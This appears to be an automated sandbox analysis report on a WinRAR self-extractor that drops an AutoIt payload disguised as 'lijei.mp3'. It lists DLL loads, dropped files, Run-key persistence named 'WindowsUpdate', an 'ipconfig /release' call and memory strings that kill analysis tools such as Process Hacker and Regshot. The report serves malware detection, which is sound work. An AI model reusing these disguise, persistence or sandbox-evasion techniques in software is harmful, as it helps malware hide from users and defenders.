                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: version.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: winmm.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: mpr.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: wininet.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: userenv.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: wldp.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Section loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: qPLzfnxGbj.exeStatic file information: File size 1309063 > 1048576
                Source: qPLzfnxGbj.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: qPLzfnxGbj.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: qPLzfnxGbj.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: qPLzfnxGbj.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: qPLzfnxGbj.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: qPLzfnxGbj.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: qPLzfnxGbj.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                Source: qPLzfnxGbj.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: qPLzfnxGbj.exe
                Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 0000000E.00000002.2819360556.0000000001840000.00000040.00001000.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 0000000E.00000002.2819360556.0000000001840000.00000040.00001000.00020000.00000000.sdmp
                Source: qPLzfnxGbj.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: qPLzfnxGbj.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: qPLzfnxGbj.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: qPLzfnxGbj.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: qPLzfnxGbj.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008A5D78 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,8_2_008A5D78
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeFile created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_4085343Jump to behavior
                Source: qPLzfnxGbj.exeStatic PE information: section name: .didat
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D96680 push ecx; ret 0_2_00D96693
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D95773 push ecx; ret 0_2_00D95786
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015FD900 pushad ; iretd 8_3_015FD901
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015FD900 pushad ; iretd 8_3_015FD901
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015FD900 pushad ; iretd 8_3_015FD901
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015FD900 pushad ; iretd 8_3_015FD901
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_0160056A push eax; retf 8_3_016005E9

                Persistence and Installation Behavior

                barindex
                Uses ipconfig to lookup or modify the Windows network settings
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3File created: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3.exeJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3File created: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3Jump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3File created: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeFile created: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe.exeJump to dropped file
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeFile created: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Jump to dropped file
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeFile created: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Jump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3File created: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3Jump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run WindowsUpdateJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run WindowsUpdateJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsUpdateJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsUpdateJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_009325A0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,8_2_009325A0
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008BFC8A GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,8_2_008BFC8A
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F425A0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,15_2_00F425A0
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ECFC8A GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,15_2_00ECFC8A
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Yara detected AntiVM autoit script
                Source: Yara matchFile source: Process Memory Space: lijei.mp3 PID: 6196, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: lijei.mp3.exe PID: 1128, type: MEMORYSTR
                Found API chain indicative of sandbox detection
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeSandbox detection routine: GetForegroundWindow, DecisionNode, Sleep
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleepgraph_8-101641
                Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                Source: lijei.mp3, 00000008.00000003.2381498844.000000000153E000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381394439.000000000153A000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000002.2385076616.000000000153E000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508870605.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510579844.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511559677.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE
                Source: lijei.mp3.exe, 0000000F.00000003.2508870605.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510579844.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511559677.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGSHOT.EXESYNI
                Source: lijei.mp3, 00000008.00000003.2381498844.000000000153E000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381394439.000000000153A000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000002.2385076616.000000000153E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGSHOT.EXE/
                Source: lijei.mp3.exe, 0000000F.00000003.2510161635.0000000000A76000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2423916411.0000000000A55000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A64000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508962060.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2509607780.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2509372995.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510075367.0000000000A74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("REGSHOT.EXE")
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmp, uudcsppmql.jpg.8.dr, uudcsppmql.jpg.0.drBinary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THEN
                Source: lijei.mp3, 00000008.00000003.2272160913.0000000001474000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2382333069.00000000014A3000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381053722.0000000001496000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381467860.00000000014A2000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000002.2384679859.00000000014A3000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2272207151.0000000001484000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381970230.00000000014A3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")W
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000008760000.00000004.00000020.00020000.00000000.sdmp, uudcsppmql.jpg.8.dr, uudcsppmql.jpg.0.drBinary or memory string: PROCESSCLOSE("REGSHOT.EXE")
                Source: lijei.mp3, 00000008.00000003.2272160913.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381282351.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000002.2384761993.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2423916411.0000000000A55000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A64000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511269362.0000000000A67000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THEN
                Source: lijei.mp3, 00000008.00000003.2381498844.000000000153E000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381394439.000000000153A000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000002.2385076616.000000000153E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGSHOT.EXES
                Source: lijei.mp3.exe, 0000000F.00000003.2508870605.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510579844.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511559677.0000000000B09000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGSHOT.EXE
                Source: lijei.mp3, 00000008.00000003.2272160913.0000000001474000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381053722.0000000001496000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2383622630.000000000149E000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2272207151.0000000001484000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2382441965.000000000149D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("REGSHOT.EXE")-
                Source: lijei.mp3.exe, 0000000F.00000003.2510161635.0000000000A76000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2423916411.0000000000A55000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A64000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508962060.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2509607780.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2509372995.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511325279.0000000000A77000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510075367.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510477588.0000000000A77000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")F
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007D60000.00000004.00000020.00020000.00000000.sdmp, uudcsppmql.jpg.8.dr, uudcsppmql.jpg.0.drBinary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B096E rdtsc 14_2_018B096E
                Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3API coverage: 5.2 %
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeAPI coverage: 0.6 %
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeAPI coverage: 5.2 %
                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D7F826 __EH_prolog3_GS,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00D7F826
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D91630 __EH_prolog3_GS,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,0_2_00D91630
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00DA1FF8 FindFirstFileExA,0_2_00DA1FF8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090E387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,8_2_0090E387
